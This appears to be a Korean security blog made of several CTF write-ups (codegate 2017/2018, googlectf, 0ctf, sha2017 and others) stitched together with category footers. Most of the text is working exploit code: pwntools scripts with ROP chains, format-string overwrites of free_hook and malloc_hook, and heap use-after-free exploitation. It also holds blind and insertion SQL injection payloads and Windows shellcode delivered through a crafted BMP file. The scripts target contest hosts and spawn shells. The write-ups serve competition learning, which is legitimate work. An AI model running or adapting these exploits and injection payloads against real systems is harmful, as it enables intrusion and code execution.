ida 플러그인까지 준비해가서 펌웨어를 깠는데

이게 왠걸 아무리 봐도 상식적으로 취약점이 없었다..


삽질과 고뇌와 인내의 시간을 거치고


취약점 이거임..gamebox 에뮬레이터에 잇엇음..

class Stdin:
def read(self, size):
res = ''
buf = sys.stdin.readline(size)
for ch in buf:
if ord(ch) > 0b1111111:
break
if ch == '\n':
res += ch
break
res += ch
return res

def write(self, data):
return None



0b1111111보다 큰 입력값일 경우 바로 break하는데

이러면 read syscall 의 반환값이 0이됨


secretkey는 content 리턴값의 -1만큼 입력받음

content리턴값이 0이면? ... 오버플로우남..


이걸 어떻게 쓰냐면 


def write_memory(self, addr, data, length):
if not length:
return

if self.memory.check_permission(addr, PERM_WRITE) and self.memory.check_permission(addr + length - 1, PERM_WRITE):
for offset in range(length):
self.memory[addr + offset] = data[offset] & 0b1111111
else:
self.terminate("[VM] Can't write memory")



이건데 


권한체크를 처음과 끝(data+length)주소만 함


length를 길게줘서 data+length가 권한이 있는 곳이면 쓰기가 가능한것..

content를 엄청 길게줘서 오버플로우 시키면 된다..

마침 0xf1000영역이 뒤에 할당된다.


스킨 건드리다가 코드 하이라이트 날라감.

나중에 해야겟다


#map 0xc4000 0x1c000 0x3a000 0xdd000 0x9b000 0xbb000 0xbf000 0xf1000 0x7c000
#0x59000 -> len( diary) 0x59000+ind*3-> mmap addr

from pwn import *
from hashlib import sha1
import string
import random


r=process(['python','vm_d.py'])
r=process(['python','vm_diary.py'])
x=random.randrange(0, 2**21-1)
def p21(a):
return chr(a & 0b1111111) + chr((a & 0b111111100000000000000) >> 14) + chr((a & 0b11111110000000) >> 7)

def chch():
r.recvuntil('prefix : ')
p=r.recvuntil('\n')[:-1]
print p
s=string.letters+string.digits
t=0
for i in s:
for j in s:
for l in s:
for k in s:
for m in s:
ans=p+i+j+l+k+m
if sha1(ans).hexdigest().endswith('000000'):
print ans
r.sendline(ans)
t=1
break
if t==1:
break
if t==1:
break
if t==1:
break
if t==1:
break

#r=process(['python','vm_diary.py'])
def rr(ind):
r.sendafter('>',str(ind).ljust(3,'\x00'))
def list():
rr(1)
def write(title,content,sec):
rr(2)
r.sendafter('title>',title)
r.recvuntil('content, secret key (same length)')
r.send(content)
r.send(sec)

def show(ind):
rr(3)
r.sendafter('index',str(ind)+'\n')

def edit(ind,title,cont):
rr(4)
r.sendafter('index', str(ind)+'\n')
r.sendafter('title',title)
r.sendafter('content',cont)

print len(sys.argv)
if len(sys.argv)>1:
r = remote('58.229.253.146', 8888)
chch()
write('t' * 0x1e, 'a' * 0x4af+'\x80', 'q' * (0x4af)+'\n')
write('t' * 0x1e, 'a' * 0x4af+'\x80', 'q' * (0x4af)+'\n')


rr(2)
r.sendafter('title>', 't\n')
r.sendlineafter('content, secret key (same length)', '\x80')
r.send('C' * (0x1eb13+10-9) +p21(0x3)+p21(0xf5fb6)+'\x80'+'\n')
print hex(0x3a4ec+0x1eb13+10)
list()
r.recvuntil('----------------------------------------------------')
r.recvuntil('1)')
canary=r.recv(3)


print 'canary:',canary
#raw_input()
#r.interactive()

for i in range(4):
write('flag\x00\n', 'a' * 0x4af+'\x80', 'q' * (0x4af)+'\n')
rr(2)
r.sendafter('title>', 't\n')
r.sendlineafter('content, secret key (same length)', '\x80')
p2p1r=0x6ae
p1p0r=0x67e

'''
LOAD:064E syscall
LOAD:0650 pop $r6
LOAD:0652 cmp $r6, $r9
LOAD:0654 jne loc_59D
LOAD:0659 pop $r3
LOAD:065B pop $r2
LOAD:065D pop $r1
LOAD:065F pop $pc
'''
rop=p21(0xdead)+p21(0x67e)+p21(0xdd000)+p21(1)+p21(0x64e)+canary+p21(0xdead)+p21(0x9b000)+p21(0xdead)#+p21(0xdead)+p21(0xc)
rop2=p21(p1p0r)+p21(2)+p21(3)+p21(0x64e)+canary+p21(0x100)+p21(0x9b000)+p21(0xdead)
rop+=rop2
rop+=p21(p1p0r)+p21(1)+p21(2)+p21(0x64e)
r.send('C' * (0x4b13 - 0x4a-50-2740-1+4+2800-30+18-9+3+2+3-18*3+1)+'E'*(17*3-1+3)+ 'D' +canary+p21(0xdead)*2+rop+'\x80\n')
#print hex(0x4b13 - 0x4a-50-2740-1+4+0xf14ec+2800)
print 'canary:',canary
raw_input()
r.interactive()


'CTF' 카테고리의 다른 글

[codegate2018 final]place the blanket  (0) 2018.04.07
[sha2017]megan-35  (0) 2017.08.07
[H3XOR]column test  (0) 2017.08.02
[codegate2017]VM  (0) 2017.07.25
[2017 googlectf] inst_prof  (0) 2017.06.19

import requests #bbs(title,writer,contents) url='http://110.10.147.36/write_ok.php' sid='35p14j8h1all6avl46rcopfm34' for i in range(1): print str(i) title='ss'+str(i) query="qwer'),('gogo','say222',(select group_concat(info) from information_schema.processlist))#" query2="qwer'),('gg4','say222',(select group_concat(benchmark(99999999,@query:=concat(@query,(select group_concat(info) from information_schema.processlist))),@query)))#" query2 = "qwer'),('gg5','say222',(select group_concat(@q3:=0x3333,benchmark(99,@q3:=concat(@q3,(select group_concat(info) from information_schema.processlist where info like '%create%'))),@q3)))#" #query2 = "qwer'),('gg4','say222',(select @q3:=0x3232))#" #query2 = "qwer'),('gg','say222',(select @q3))#" #query="qwer'),('gg','say222',(select group_concat(current_statement) from sys.processlist))#" res = requests.post(url, data={'title': title, 'contents': query2}, cookies={'PHPSESSID': sid}) #for i in range(1): # d=requests.get('http://110.10.147.36/?p=secret&C=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&T=bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb&F=cccccccccccccccccccccccccccccccc',cookies={'PHPSESSID':sid}) #res=requests.post(url,data={'title':title,'contents':query},cookies={'PHPSESSID':sid}) print res.text


대회때 못풀었다. 사실 웹문제는 우리팀은 버릴 예정이었다. 시간이 ㅁㅏㄴㅎ이남지 않는이상..

팀에 웹해커가 없다는게 구멍이 너무 컸다... 할말이 많으니 후기 글을 따로 써봐야겠다.. 


diary content에 sql injection이 있었고

benchmark로 루프를 돌리면서 secret에 있는 select문을 돌려주면 processlist에서 쿼리문을 스니핑 할 수 있다.


참고


rubiya님의 발표자료


http://secuinside.com/archive/2017/2017-1-2.pdf


http://chaneyoon.tistory.com/333




'CTF' 카테고리의 다른 글

[codegate 2018 final] 7amebox3  (0) 2018.04.07
[sha2017]megan-35  (0) 2017.08.07
[H3XOR]column test  (0) 2017.08.02
[codegate2017]VM  (0) 2017.07.25
[2017 googlectf] inst_prof  (0) 2017.06.19

내 입력이 암호화 되어서 printf(&encrypt);이런식으로 format string bug가 유발된다. 암호화는 어렵지 않고 오버플로우는 일어나지 않는다 복호화는 그냥 암호화 식을 이용해서 z3로 풀어버렸다 오버플로우가 안나는데 fsb만 가지고 어떻게 트리거할지 고민(삽질)하던 중 리모트로 테스트해보다가 리모트 환경이 aslr이 꺼져잇는 환경이라는 걸 알아냈다;; 디버깅으로 오프셋 구해서 stack libc베이스를 구하고 system('/bin/sh')를 트리거했다.

from pwn import *
import random
#import z3
from z3 import *
table='3GHIJKLMNOPQRSTUb=cdefghijklmnopWXYZ/12+406789VaqrstuvwxyzABCDEF'
table_ind={}
def encrypt(input):
	out=[0,0,0]
	out[0]=table_ind[input[0]]*4+((table_ind[input[1]]&0x30)>>4)
	out[1]=table_ind[input[1]]*16+((table_ind[input[2]]&0x3C)>>2)
	out[2]=table_ind[input[3]]+((table_ind[input[2]])<<6);
	for i in range(3):
		out[i]=chr(out[i]&0xff)
	return ''.join(out)

def decrypt(d):
	w=BitVec('w',32)
	x=BitVec('x',32)
	y=BitVec('y',32)
	z=BitVec('z',32)
	s=Solver()
	s.add(w<64,x<64,y<64,z<64)
	s.add((((w*4+((x&0x30)>>4)))&0xff)==ord(d[0]))
	s.add((((x*16+((y&0x3c)>>2)))&0xff)==ord(d[1]))
	s.add((((y<<6)+z)&0xff)==ord(d[2]))
	s.check()
	return table[int(str(s.model()[w]))]+table[int(str(s.model()[x]))]+table[int(str(s.model()[y]))]+table[int(str(s.model()[z]))]


#r=remote('192.168.2.238',3333)
#raw_input()

for i in range(len(table)):
	table_ind[table[i]]=i
#print table_ind

#print decrypt("%8x") #%8x : OdXy
#print decrypt("%40") #%40 : Odbq
#print decrypt("96c") #TdjZ
#print decrypt("%38")+decrypt("$8x") # OdRyOIXy : 0xffffdc6c+0xdc : return
#payload='%143$8x%4096c'

libc_startmain=0xf7e31637-247
libc_base=libc_startmain-0x18540#0xf7e31637
system=libc_base+0x3a940
binsh=libc_base+0x15900b
stack_ret=0xffffdc6c+0x150+0x10#0xdc
payload='AAAA'

#system=0xf7e3cda0
#binsh=0xf7f5d9ab
#stack_ret=0xffffd70c
pay=''
r=remote('megan35.stillhackinganyway.nl',3535)
#r=remote('192.168.2.238',3333)
raw_input()
payload=fmtstr.fmtstr_payload(71,{stack_ret:system,stack_ret+8:binsh})+"%4096c"#,write_size='short')+'%4096c'
print payload
#payload='%38$8x'+"%4096c"
#payload='%143$8x'
#payload="AAAABBBBCCCCDDDD"+"%71$8x"#+"%4096c"
if len(payload)%3!=0:
	l=len(payload)
	payload=payload.ljust(l+3-len(payload)%3,' ')
for i in range(len(payload)/3):
	pay+=(decrypt(payload[i*3:i*3+3]))
print pay
r.sendline(pay)
r.interactive()

'CTF' 카테고리의 다른 글

[codegate 2018 final] 7amebox3  (0) 2018.04.07
[codegate2018 final]place the blanket  (0) 2018.04.07
[H3XOR]column test  (0) 2017.08.02
[codegate2017]VM  (0) 2017.07.25
[2017 googlectf] inst_prof  (0) 2017.06.19
/*
 *      if you see the password column name,
 *      you will get the flag~!
 *
 */

include("./dbconfig.php");
$id = $_GET['id'];
$pw = $_GET['pw'];

if ( isset($id) || isset($pw) ) {
    if (preg_match("/info|sche|,/i", $id))
        exit("no hack ~_~");
    if (preg_match("/info|sche/i", $pw))
        exit("no hack ~_~");

    $query = "SELECT {$pw_column_name}, {$id_column_name} FROM {$table} WHERE {$id_column_name}='{$id}' AND {$pw_column_name}='{$pw}'";
    $result = mysqli_fetch_array(mysqli_query($conn ,$query));

    if ($result['id']) {
        echo "Hello {$result['id']}";
    } else {
        echo "DB error";
    }
} else {
    highlight_file(__FILE__);
}




import request

def hexor(): param={'id':"123' union select 2,",'pw':"#"} password='' for ind in range(1,10): p=0 for x in range(7,-1,-1): param={'id':"123' or ascii(substr(",'pw':",{},1))<{}#".format(ind,p+2**x)} res=requests.get('http://13.124.1.51/web/prob15/?id=info',params=param).text if 'Hello guest' not in res: p+=2**x #print p print res #time.sleep(10000) print p print '[**]'+chr(p) password+=chr(p) print 'password: '+password hexor()


'CTF' 카테고리의 다른 글

[codegate2018 final]place the blanket  (0) 2018.04.07
[sha2017]megan-35  (0) 2017.08.07
[codegate2017]VM  (0) 2017.07.25
[2017 googlectf] inst_prof  (0) 2017.06.19
[0ctf qual]EasiestPrintf  (0) 2017.05.25



fix ex


from pwn import * def dump(): return (0<<0x1c)|((3<<0x1a)&0xc000000)|((0xf<<16)&0xf0000) def setreg(ind,val): return (1<<0x1c)|((1<<0x1a)&0xc000000)|((0xf<<16)&0xf0000)|((ind<<0x17)&0x3800000)|val def movreg(src,dest): #sangsu=(0<<0x1a)&0xc0000000 return (1<<0x1c)|((0<<0x1a)&0xc000000)|((0xf<<16)&0xf0000|((dest<<0x17)&0x3800000))|((src<<0x14)&0x700000) def pad(x): return hex(x)[2:].rjust(8,'0') def push(ind,val): return (8<<0x1c)|((2<<0x1a)&0xc000000)|((0xf<<16)&0xf0000)|((ind<<0x17)&0x3800000)|val def push_s(val): return (8<<0x1c)|((3<<0x1a)&0xc000000)|((0xf<<16)&0xf0000)|val def xchg(r1,r2): return (5 << 0x1c)|(0 << 0x1a)|(r1 << 0x17)| (r2 << 0x14)|((0xf<<16)&0xf0000) def pop(ind): return (9<<0x1c)|((2<<0x1a)&0xc000000)|((0xf<<16)&0xf0000)|((ind<<0x17)&0x3800000) def sub(ind): return (7<<0x1c)|((2<<0x1a)&0xc000000)|((0xf<<16)&0xf0000)|((ind<<0x17)&0x3800000) p=process('./VM') print hex(movreg(6,0)) print hex(setreg(7,0x1234)) #p.sendline(pad(setreg(1,0x44d0))) p.sendline(pad(setreg(7,0x4030-0x30+0x80))*0x20) p.sendline(pad(dump())) p.recvuntil('0x4070 ') heapleak=int(p.recv(3)[:2],16)+0x100*int(p.recv(3)[:2],16)+0x10000*int(p.recv(3)[:2],16)+0x1000000*int(p.recv(3)[:2],16) print hex(heapleak) heapbase=heapleak-0x15cd0 log.info('heapbase : '+hex(heapbase)) p.sendline(pad(setreg(7,0x4000+0x470+0x60))) p.sendline(pad(dump())) p.recvuntil('0x44b0 ') libcleak=int(p.recv(3)[:2],16)+0x100*int(p.recv(3)[:2],16)+0x10000*int(p.recv(3)[:2],16)+0x1000000*int(p.recv(3)[:2],16)+0x100000000*int(p.recv(3)[:2],16)+0x10000000000*int(p.recv(3)[:2],16) libc=libcleak-0x3c4be8 reg_base=heapbase+0x11c20 log.info('libc : '+hex(libc)) overwrite_got=0x60c010#int(raw_input('>>'),16)#0x60c0f0#0x60c088#0x00000000060C198 begin=0x00000000060C188#0x7fe47110e000 system=libc+0x45390+0xabd87 # onegadget log.info('system'+hex(system)) off=overwrite_got-reg_base+0x100000000-0x30+2 print 'off'+hex(off) p.sendline(pad(setreg(0,off&0xffff))) p.sendline(pad(setreg(7,0x4000+4))) p.sendline(pad(push_s(off>>16))) p.sendline(pad(setreg(7,0x4000))) p.sendline(pad(xchg(0,7))) #p.sendline(pad(dump())) #p.interactive() pay='' pay+=pad(push_s(system&0xffff)) pay+=pad(pop(2)) pay+=pad(pop(2)) #p.sendline(pad(dump())) #p.interactive() print pad(pop(2)) print hex(0xffff&(system>>16)) pay+=pad(push_s((system>>16)&0xffff)) #p.sendline(pad(pop(2))) pay+=pad(pop(2)) pay+=pad(pop(2)) pay+=pad(push_s(((system>>16)>>16)&0xffff)) pay+=pad(pop(2)) pay+=pad(pop(2)) pay+=pad(push_s((((system>>16)>>16)>>16)&0xffff)) pay+=pad(movreg(7,1)) for i in range(6): pay+=pad(sub(1)) pay+=pad(dump()) raw_input('>') p.sendline(pay) print 'one :'+hex(system) #p.sendline('000f0000') p.interactive()


'CTF' 카테고리의 다른 글

[sha2017]megan-35  (0) 2017.08.07
[H3XOR]column test  (0) 2017.08.02
[2017 googlectf] inst_prof  (0) 2017.06.19
[0ctf qual]EasiestPrintf  (0) 2017.05.25
[codegate 17 final]BMP  (0) 2017.05.14


from pwn import * pad=lambda x:x.ljust(4,'\x90') asm_=lambda x:asm(x,arch='amd64') #r=process('./inst_prof') r=remote('inst-prof.ctfcompetition.com',1337) r.recvuntil('ready\n') #raw_input() p1=asm("add r12,rbx", arch = 'amd64') p2=asm("add r12,rsp",arch='amd64') p3=asm('add r12,QWORD PTR [rsp]',arch='amd64') p4=asm('mov r14,QWORD PTR [rsp]',arch='amd64') p5=asm('mov r14w,dx',arch='amd64') p6=asm('inc r14',arch='amd64') p7=asm('mov r14b,0x58',arch='amd64') print len(p1) r.send(p1+'\x90') #raw_input() libc=0x10000000000000000-u64(r.recv(8)) libc=libc/0x1000 - 0x5eafff+0x4000#+1 if libc%16 !=0: libc+=1 print hex(libc) print len(p2) r.send(pad(p2)) leak=u64(r.recv(8)) leak=0x10000000000000000-leak leak=leak/0x1000 if leak%16==6: leak+=1 print hex(leak) stack_obj=leak+1+0x70#+1 #raw_input('>') r.send(pad(p3)) leak=u64(r.recv(8)) leak=0x10000000000000000-leak leak=leak/0x1000 code=leak-0xb17#+1 if code%16 !=0: code+=1 print hex(code) extra=code%0x10000 extra=extra/0x1000 print extra r.send(pad(p4)+pad(p5)+pad(p6)*(0x202+extra)+pad(p7)) r.recv(8*(3+0x202+extra)) onegadget=libc+0xe9f2d #onegadget=libc+0xf0567 print hex(onegadget) raw_input('>') for i in range(6): p8=asm('mov BYTE PTR [r14], {}'.format('0x'+hex(onegadget)[-2:]),arch='amd64') onegadget=onegadget/0x100 r.send(pad(p8)) r.send(pad(asm('mov r14b, {}'.format(hex(0x59+i)),arch='amd64'))) r.recv(8) #r.interactive() p10=asm('mov r14,rsp',arch='amd64') r.send(pad(p10)) raw_input('?') p11=asm_('mov r14b,{}'.format(hex(stack_obj%0x100))) r.send(pad(p11)) #r.send(p5) #p5=asm('mov r14w,dx',arch='amd64') raw_input('>>') for i in range(8): p8=asm('mov BYTE PTR [r14], 0',arch='amd64') r.send(pad(p8)) print stack_obj%100+i+1 r.send(pad(asm('mov r14b, {}'.format(hex(stack_obj%0x100+i+1)),arch='amd64'))) p9=asm('mov BYTE PTR [rsp],0x54',arch='amd64') raw_input('>>>>') r.send(p9) r.interactive()










8번쨰로 푸러따 의도한 풀이는 아닌 것같다.

다른 문제에서 라이브러리를 가져와서 쉘을 땄다 ㅠ\ 


00\x00$ id

uid=1337(user) gid=1337(user) groups=1337(user)

$ ls

flag.txt

inst_prof

$ cat flag.txt

CTF{0v3r_4ND_0v3r_4ND_0v3r_4ND_0v3r}

'CTF' 카테고리의 다른 글

[H3XOR]column test  (0) 2017.08.02
[codegate2017]VM  (0) 2017.07.25
[0ctf qual]EasiestPrintf  (0) 2017.05.25
[codegate 17 final]BMP  (0) 2017.05.14
[defcon prequal 2017]magic  (0) 2017.05.12

printf는 문자열이 일정크기가 넘어가면 malloc free를 호출한다(vfprintf) fsb를 이용하여 malloc_hook free_hook 을 덮어 쓸수 있다.

혹은 stdout의 함수포인터를 덮을 수도 있다. 

32bit이기 때문에

http://say2.tistory.com/262


write = {_IO_2_1_stdout + 148: 0x0804A570 - 0x1c, 0x0804A570: system + 1}


payload = '/bin/sh;'

payload += fmtstr_payload(9, write, len(p), 'byte')



출처: http://say2.tistory.com/262 [say2]


p.sendlineafter('Bye','/bin/sh;'+fmtstr_payload(9,{free_hook:system-0x08080808})+"%100000c")

이것도 됨


from pwn import * p=process('./EasiestPrintf') libc=ELF('/lib/i386-linux-gnu/libc.so.6') binary=ELF('./EasiestPrintf') open_got=0x8049FE8 p.sendlineafter('read:\n',str(open_got)) libc=int(p.recv(10),16)-0xd5570 log.info("libc: "+hex(libc)) malloc_hook=libc+0x1b2768 log.info("malloc_hook: "+hex(malloc_hook)) free_hook=libc+0x1b38b0#0x1b3536 one_gadget=libc+0x3ac69#0x5fbc5 system=libc+0x3ada0 log.info("one_gadget"+hex(one_gadget)) log.info("system"+hex(system)) #0x5fbc5 0x5fbc6 raw_input() p.sendlineafter('Bye','/bin/sh;'+fmtstr_payload(9,{free_hook:one_gadget-0x08080808})+"%100000c") p.interactive()


'CTF' 카테고리의 다른 글

[codegate2017]VM  (0) 2017.07.25
[2017 googlectf] inst_prof  (0) 2017.06.19
[codegate 17 final]BMP  (0) 2017.05.14
[defcon prequal 2017]magic  (0) 2017.05.12
[codegate17 prequal]postbox  (0) 2017.05.11




처음 풀어본 윈도우 익스 문제였고 신선했고 배운것도 많았다. 취약점은 어렵지 않았고 트리거 하는 과정도 실재 버그헌팅이랑 비슷해보였다. 처음이라 고생많고 오래걸렸는데 재밌었다.


bmp파일의 header를 읽는 부분에서 팔레트 크기를 읽어서 크기만큼 스택에 가져오는데 0x100이 정해진 크기지만 조작해서 더 큰 값을 넣을 수 있다.

canary가 있으므로 seh까지 쭉 덮어버리면 eip가 조작이 가능하다

rop로 vprotect로  실행권한 주고 쉘코드를 실행시켰다.

이때 팔레트는 4바이트마다 \x00을 넣어서 읽어오기 때문에 그냥넣으면 쉘코드가 이상해지고 그렇다고 쉘코드를 변형하기는 귀찮아서

쉘코드를 push해서 esp를 쉘코드주소로 보낸다음 실행시키는 어셈을 짠다음 쉘코드로 eip를 보내서 실행시켰다.

대회에서는 리모트 쉘코드를 넣어서 쉘을 따야하지만 그냥 일단 계산기 코드를 넣어서 실행시켰다. 

from struct import * import os def p4(buf): return pack('<I',buf) def p2(buf): return pack('<H',buf) f=open('./ex.bmp','wb') f2=open('./1.bmp','rb') h=f2.read(0x2e) biClrused=0x400 header=h header+=p4(biClrused) header+=p4(0) def create_rop_chain():    #not used # rop chain generated with mona.py - www.corelan.be rop_gadgets = [ 0x004a4b10, # POP EAX # RETN [BMP.exe] 0x00552258, # ptr to &VirtualAlloc() [IAT BMP.exe] 0x0051beed, # MOV EAX,DWORD PTR DS:[EAX] # RETN [BMP.exe] 0x004cf8fc, # XCHG EAX,ESI # RETN [BMP.exe] 0x0052b83d, # POP EBP # RETN [BMP.exe] 0x0044e1fb, # & push esp # ret [BMP.exe] 0x005177d4, # POP EBX # RETN [BMP.exe] 0x00000001, # 0x00000001-> ebx 0x0052a218, # POP EDX # RETN [BMP.exe] 0x00001000, # 0x00001000-> edx 0x0054dbd4, # POP ECX # RETN [BMP.exe] 0x00000040, # 0x00000040-> ecx 0x00528bbb, # POP EDI # RETN [BMP.exe] 0x0044aecf, # RETN (ROP NOP) [BMP.exe] 0x004b272a, # POP EAX # RETN [BMP.exe] 0x90909090, # nop 0x00548e8f, # PUSHAD # RETN [BMP.exe] ] return ''.join(pack('<I', _) for _ in rop_gadgets) rop_chain = create_rop_chain() obj = 0x12f000 vprotect = 0x4d58fb pop_edi = 0x004018ad pop_esi = 0x00524e51 ret = 0x40415d over = '' over += p4(pop_esi) over += p4(obj) over += p4(pop_edi) over += p4(obj) over += p4(vprotect) over += p4(obj) over += p4(0x1000) over += p4(0x40) #rwx over += p4(obj) over += p4(ret) #ex+=rop_chain #0012f690 shloc=0x0012f84c    #stored shellcode address shellcode="\x81\xc4\x00\x05\x00\x00\x90\x90" shellcode+="\x31\xdb\x64\x8b\x7b\x30\x8b\x7f" shellcode+="\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b" shellcode+="\x77\x20\x8b\x3f\x80\x7e\x0c\x33" shellcode+="\x75\xf2\x89\xc7\x03\x78\x3c\x8b" shellcode+="\x57\x78\x01\xc2\x8b\x7a\x20\x01" shellcode+="\xc7\x89\xdd\x8b\x34\xaf\x01\xc6" shellcode+="\x45\x81\x3e\x43\x72\x65\x61\x75" shellcode+="\xf2\x81\x7e\x08\x6f\x63\x65\x73" shellcode+="\x75\xe9\x8b\x7a\x24\x01\xc7\x66" shellcode+="\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7" shellcode+="\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9" shellcode+="\xb1\xff\x53\xe2\xfd\x68\x63\x61" shellcode+="\x6c\x63\x89\xe2\x52\x52\x53\x53" shellcode+="\x53\x53\x53\x53\x52\x53\xff\xd7" shellcode+=p4(shloc) pushsh='\x89\xe1'+'\xb3'+'\x90' import binascii print len(shellcode) for i in range(len(shellcode)/2): pushsh+='\x68'+shellcode[2*i]+shellcode[2*i+1]+'\x00\x00'+'\x90\xb3\x00' pushsh+='\x41\x41'+'\xb3\x00' pushsh+='\x89\xcc'+'\xb3\x00' pushsh+='\x49\x49\xb3\x00'*4 pushsh+='\x89\xcc'+'\xb3\x00' pushsh+='\xc3'+'\x90'*3 #pushsh+="AAAA"*5 ex='' ex+=over ex+=p4(0x12fb7c)*8    #vprotect rop addr cont='' char='A' print len(pushsh) print len(ex) for i in range(0x160-len(ex)/4): cont+=p4(ret) cont+=ex cont+='aaaa' for i in range(200): cont+=p4(0x4040ca)    # add esp 0x9d4 cont+=pushsh for i in range(0x1000): cont+='BBBB' f.write(header) f.write(cont) f.close() #os.system('bmp_edit.exe ex.bmp') os.system('bmp2.exe ex.bmp')


'CTF' 카테고리의 다른 글

[2017 googlectf] inst_prof  (0) 2017.06.19
[0ctf qual]EasiestPrintf  (0) 2017.05.25
[defcon prequal 2017]magic  (0) 2017.05.12
[codegate17 prequal]postbox  (0) 2017.05.11
[codegate 2017 final]real  (0) 2017.05.09



objdump로 파싱 

filename은 

file=Glob.glob(‘경로’)
이렇게 하면 배열로 다 담긴다고 함 
import glob모듈


from pwn import *
import os
import subprocess
import re
#file_name='fecb014cab63df8b6a56da7a2edfe9ffbc3868579d445c4d4f0687b1583bc164'
file_name=
'''01dd90c3b7d9a36227a5ddc96c7887acbcb973744c1971eaa6da6cccc6c3e261
035202082a8be265d23b0409bec1d7c080e1ee14c163874f3321b6c70a209a7c
04818b31ff02ad50af2b052c3488b13b8be29da3c294857b8b159a3df5df6139
0626de9df535695be1dc8817e2658d1a154ef4a49d146ccf0cf5bdbc4cf8dc9a
...
fd9431be8119528acf27853559662473ae4f8a2cf7b2e1689fe9fb12943e9802
fecb014cab63df8b6a56da7a2edfe9ffbc3868579d445c4d4f0687b1583bc164'''.split()
cont=''
rr=re.compile('48 83 ff [0-9a-f]{1,2}')
total=''
for i in range(len(file_name)):
        #cont=os.system('objdump -S {} | grep "48 83 ff"'.format(file_name[i]))
        cont=subprocess.check_output(['objdump','-S', './{}'.format(file_name[i])])
        result=rr.findall(cont)
        arr=''
        print file_name[i]
        for j in result:
                arr+=chr(int(j[9:],16))
        print arr
        total+=arr
print total


'CTF' 카테고리의 다른 글

[0ctf qual]EasiestPrintf  (0) 2017.05.25
[codegate 17 final]BMP  (0) 2017.05.14
[codegate17 prequal]postbox  (0) 2017.05.11
[codegate 2017 final]real  (0) 2017.05.09
[codegate 2017 prequal]meow  (0) 2017.05.09

total info

+0 post나 register info덩어리 주소

+24 다음 덩어리


덩어리 주소

+0 인덱스 post register info구분~~


user register

+0 0x6d10c8(vtable) -> register끝나고 createpost할때 바뀜 0x6d1090

+8 (0x8) name(12)

createpost할때 0x10 0x6d10a0

+24(0x18) phone number(15)

+40(0x28) zip code(7)

+56(0x38) address(90)

+176(0xb0) 0x6d10d8





**** register할때는 post할떄 totalinfo에 적용되는 꼴이 똑같다. 즉 같은 모양으로 저장된다. 둘다 크기는 240 

구조체를 보니 post의 vtable함수들이 전부 저장되어있다.!? 이걸잘 덮어쓰면 pc조작이 가능할 거 같다.

totlainfo의 구조체는 최대 수용이 4개까지고 넘어가면 linked list로 넘어간다. 



이때 register unregister과 post create send를 잘 섞으면 uaf가 터져서 eip컨트롤이 가능하다.

취약점은 send하고. unregister할때 이 두 데이터를 구분을 잘 못해줘서 register로 post데이터를 덮을수 있다. change메뉴를 덮어서 트리거 할 수 있다.


0x41297f가 mov rdi binsh syscall execve가 있는 장소인데

rdx가 안맞아서 잘 안됐다.

근데 그냥 두드리던 중에 [rdx+8]에 있는 주소가 readable하면 rdx가 널이 아니더라도 쉘이 따졌다...

ㅇㅁㅇ ㅇ마튼 풀어서 기분 좋긴한데 이문제는 뭔가 디버깅하다가 얻어걸린게 많아서 정확하게 클래스 분석도 해봐야겠다. 




from pwn import *

r=process('./postbox')
raw_input()

def register(name,phone,zip,address):
	r.sendlineafter('->','1')
	r.sendlineafter('->',name)
	r.sendlineafter('->',phone)
	r.sendlineafter('->',zip)
	r.sendlineafter('->',address)

def unregister():
	r.sendlineafter('->','1')
	r.sendlineafter('->','Y')
def create(kind,price,name,recp_name,phone,recp_zip,recp_addr,delivery):
	r.sendlineafter('->','2')
	r.sendlineafter('->',kind)
	r.sendlineafter('->',price)
	r.sendlineafter('->',name)
	r.sendlineafter('->',recp_name)
	r.sendlineafter('->',phone)
	r.sendlineafter('->',recp_zip)
	r.sendlineafter('->',recp_addr)
	r.sendlineafter('->',delivery)
def change(ind,menu,cont):
	r.sendlineafter('->','3')
	r.sendlineafter('->',menu)
	r.sendlineafter('->',cont)
	r.sendlineafter('5')
def send(ind):
	r.sendlineafter('->','4')
	r.sendlineafter('->',ind)


register('A','A','A','A')

create('1','1','1','1','1','1','1','1')
create('2','2','2','2','2','2','2','2')

send('1')
send('1')
unregister()
register('3333','4444','5555','6666')
unregister()
register('\xa0\x10\x6d','\x7f\x29\x41','DDDD','EEEE')
#register("\x7f\x29\x41","\x7f\x29\x41","\x7f\x29\x41","\x7f\x29\x41")

unregister()
r.sendline('3')
r.sendline('2')
r.sendline('2')
r.interactive()


'CTF' 카테고리의 다른 글

[codegate 17 final]BMP  (0) 2017.05.14
[defcon prequal 2017]magic  (0) 2017.05.12
[codegate 2017 final]real  (0) 2017.05.09
[codegate 2017 prequal]meow  (0) 2017.05.09
[codegate17 prequal]Goversing  (0) 2017.05.08

+ Recent posts